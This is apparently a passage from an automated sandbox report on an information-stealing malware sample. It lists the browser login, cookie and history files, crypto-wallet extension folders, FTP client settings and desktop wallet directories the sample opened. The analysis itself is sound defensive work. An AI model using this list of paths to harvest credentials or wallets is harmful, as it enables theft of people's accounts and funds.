Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034444258.000000000081A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1985317104.0000000000876000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1985317104.0000000000876000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
